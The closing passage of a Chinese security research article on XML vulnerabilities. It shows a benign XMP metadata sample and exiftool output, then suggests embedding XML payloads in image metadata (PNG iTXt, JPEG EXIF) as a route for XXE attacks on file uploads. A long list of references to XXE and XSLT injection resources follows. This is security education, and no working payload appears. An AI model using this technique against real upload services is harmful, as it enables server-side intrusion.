   </rdf:Seq>
  </dc:creator>
  <dc:rights>
   <rdf:Alt>
    <rdf:li xml:lang='x-default'>© evilpan 2024</rdf:li>
   </rdf:Alt>
  </dc:rights>
 </rdf:Description>
</rdf:RDF>
</x:xmpmeta>
<?xpacket end='w'?>

这是一个典型的 XML 格式文件。根据目标格式不同，XMP 存储的位置也不一样，对于 JPEG 会添加到图片文件的 EXIF 中，对于 PNG 文件则是添加一个 iTXt 段。直接用 exiftool 来查看插入的 XMP 数据：

$ exiftool poc.png
...
XMP Toolkit                     : Image::ExifTool 12.40
Creator                         : evilpan
Rights                          : © evilpan 2024
Image Size                      : 1x1
Megapixels                      : 0.000001

可以看到 Creator 和 Rights 信息已经添加到了图片中。使用二进制编辑器也可以看到插入的 XML 数据：

目前 XMP 已经成为了一个 ISO 标准(16684-1:2012)，因此使用范围广泛。对于我们的安全研究而言，尝试在不同的文件中插入携带 XML payload 的 XMP 数据也是一种值得尝试的攻击方式。

• Extensible_Metadata_Platform - Wikipedia^[54]
• XMP Specification^[55]
• Exploiting XXE in File Upload Functionality - Webcast^[56]
• https://oxmlxxe.github.io/

后记

XML，一个简单的文本文档格式，却涵盖了从 DoS、XSS、XXE、SSRF 到 RCE 等常见的漏洞风险。除了常规的 XML 请求如 SOAP，我们还可以将普通的表单或者 JSON 转换成 XML 进行测试；另外除了一些广为人知的 XML 文件如 SVG、DOCX 等，还有许多潜在的元数据会以 XML 的形式存储，比如在 PDF、PNG、JPG、MP4 等文件中都有以 XMP 形式存在的 XML 数据，以此我们也能管窥 XML 格式的使用范围之广泛，因此对 XML 相关的风险进行深入理解对于安全攻防而言也是至关重要的。

引用链接

[1] Extensible Markup Language (XML) 1.0 (Fifth Edition): https://www.w3.org/TR/xml/
[2] XML - wikipedia: https://en.wikipedia.org/wiki/XML
[3] -//W3C//DTD HTML 4.01//EN: http://www.w3.org/TR/html4/strict.dtd
[4] -//W3C//DTD HTML 4.01 Transitional//EN: http://www.w3.org/TR/html4/loose.dtd
[5] -//W3C//DTD HTML 4.01 Frameset//EN: http://www.w3.org/TR/html4/frameset.dtd
[6] Document_type_definition - Wikipedia: https://en.wikipedia.org/wiki/Document_type_definition
[7] Prolog and Document Type Declaration: https://www.w3.org/TR/xml/#sec-prolog-dtd
[8] Character and Entity References: https://www.w3.org/TR/xml/#sec-references
[9] XML entity: https://en.wikipedia.org/w/index.php?titl
[10] 在 XML 中添加实体: https://web.archive.org/web/20100405232602/http://www.ibm.com/developerworks/cn/xml/x-entities/
[11] 备份: https://blog.csdn.net/janchin/article/details/46849209
[12] List of XML and HTML character entity references: https://en.wikipedia.org/w/index.php?title=List_of_XML_and_HTML_character_entity_references
[13] XML namespaces: https://en.wikipedia.org/wiki/XML_namespace
[14] XML Schema (W3C): https://en.wikipedia.org/wiki/XML_Schema_(W3C)
[15] W3Cs XML Schema Primer: http://www.w3.org/TR/xmlschema-0/
[16] XPointer Framework: https://www.w3.org/TR/xinclude/#XPCore
[17] XInclude - wikipedia: https://en.wikipedia.org/wiki/XInclude
[18] Using XInclude: https://www.xml.com/pub/a/2002/07/31/xinclude.html
[19] XInclude Standard: http://www.w3.org/TR/xinclude/
[20] XSLT - Wikipedia: https://en.wikipedia.org/wiki/XSLT
[21] XSL Transformations (XSLT) Version 1.0: https://www.w3.org/TR/xslt-10/
[22] XSL Transformations (XSLT) Version 2.0 (Second Edition): https://www.w3.org/TR/xslt20/
[23] XSL Transformations (XSLT) Version 3.0: https://www.w3.org/TR/xslt-30/
[24] XInclude with XSLT: http://www.xml.com/pub/a/2007/03/28/xinclude-processing-in-xslt-with-xipr.html
[25] Java API for XML Processing (JAXP) Tutorial - XSLT: https://www.oracle.com/java/technologies/jaxp-xslt.html
[26] Billion laughs attack: https://en.wikipedia.org/wiki/Billion_laughs_attack
[27] ImageMagick 的 CVE-2023-38633: https://www.canva.dev/blog/engineering/when-url-parsers-disagree-cve-2023-38633/
[28] 获得 $28000 赏金的 Safari CVE-2023-40415 和 Chrome CVE-2023-4357: https://swarm.ptsecurity.com/xxe-chrome-safari-chatgpt/
[29] Exploiting XXE with local DTD files: https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
[30] When URL parsers disagree (CVE-2023-38633): https://www.canva.dev/blog/engineering/when-url-parsers-disagree-cve-2023-38633/
[31] Getting XXE in Web Browsers using ChatGPT: https://swarm.ptsecurity.com/xxe-chrome-safari-chatgpt/
[32] Chromium#4822244 [M114-LTS] Set current document when processing xsl document(): https://chromium-review.googlesource.com/c/chromium/src/+/4822244
[33] REDTEAM TALES 0X1: SOAPY XXE: https://www.optistream.io/blogs/tech/redteam-stories-1-soapy-xxe
[34] Exploiting XXE with local DTD files: https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
[35] 以 Apache Solr CVE-2017-12629 为例介绍三种 Error Based XXE 在实战中利用的方法 - phith0n: https://t.zsxq.com/SB5kj
[36] @IOActive: https://x.com/ioactive
[37] Script Blocks Using msxsl:script: https://learn.microsoft.com/en-us/dotnet/standard/data/xml/script-blocks-using-msxsl-script
[38] Saxon 官网文档: https://www.data2type.de/xml-xslt-xslfo/xslt
[39] Abusing XSLT for Practical Attacks White Paper: https://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf
[40] XSLT Injections for Dummies: https://ine.com/blog/xslt-injections-for-dummies
[41] XLST Injection Basics: https://www.atlan.digital/lab/xslt-injection-basics
[42] 中文: 从XSLT注入到Getshell: https://xz.aliyun.com/t/6141
[43] OverIT framework XSLT Injection and XXE – CVE-2022-22834 & CVE-2022-22835: https://labs.yarix.com/2022/03/overit-framework-xslt-injection-and-xxe-cve-2022-22834-cve-2022-22835/
[44] PayloadsAllTheThings - XSLT Injection: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSLT%20Injection/README.md
[45] OWASP: XML External Entity (XXE) Processing: https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing
[46] OWASP: XML External Entity Prevention: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
[47] PortSwigger : XML external entity (XXE) injection: https://portswigger.net/web-security/xxe
[48] hacktricks: xee-xml-external-entity.md: https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xxe-xee-xml-external-entity.md
[49] 奇安信攻防社区 - XXE漏洞: https://forum.butian.net/share/2573
[50] CVE-2023-38633: https://www.canva.dev/blog/engineering/when-url-parsers-disagree-cve-2023-38633/
[51] ECMA-376 - Office Open XML file formats: https://www.ecma-international.org/publications-and-standards/standards/ecma-376/
[52] Open XML SDK by Microsoft: https://github.com/dotnet/Open-XML-SDK
[53] oxml_xxe: A tool for embedding XXE/XML exploits into different filetypes (BHUSA 2015): https://github.com/BuffaloWill/oxml_xxe
[54] Extensible_Metadata_Platform - Wikipedia: https://en.wikipedia.org/wiki/Extensible_Metadata_Platform
[55] XMP Specification: http://www.adobe.com/devnet/xmp/
[56] Exploiting XXE in File Upload Functionality - Webcast: https://oxmlxxe.github.io/reveal.js/bh_webcast.html

原文始发于微信公众号（有价值炮灰）：XML 相关漏洞风险研究

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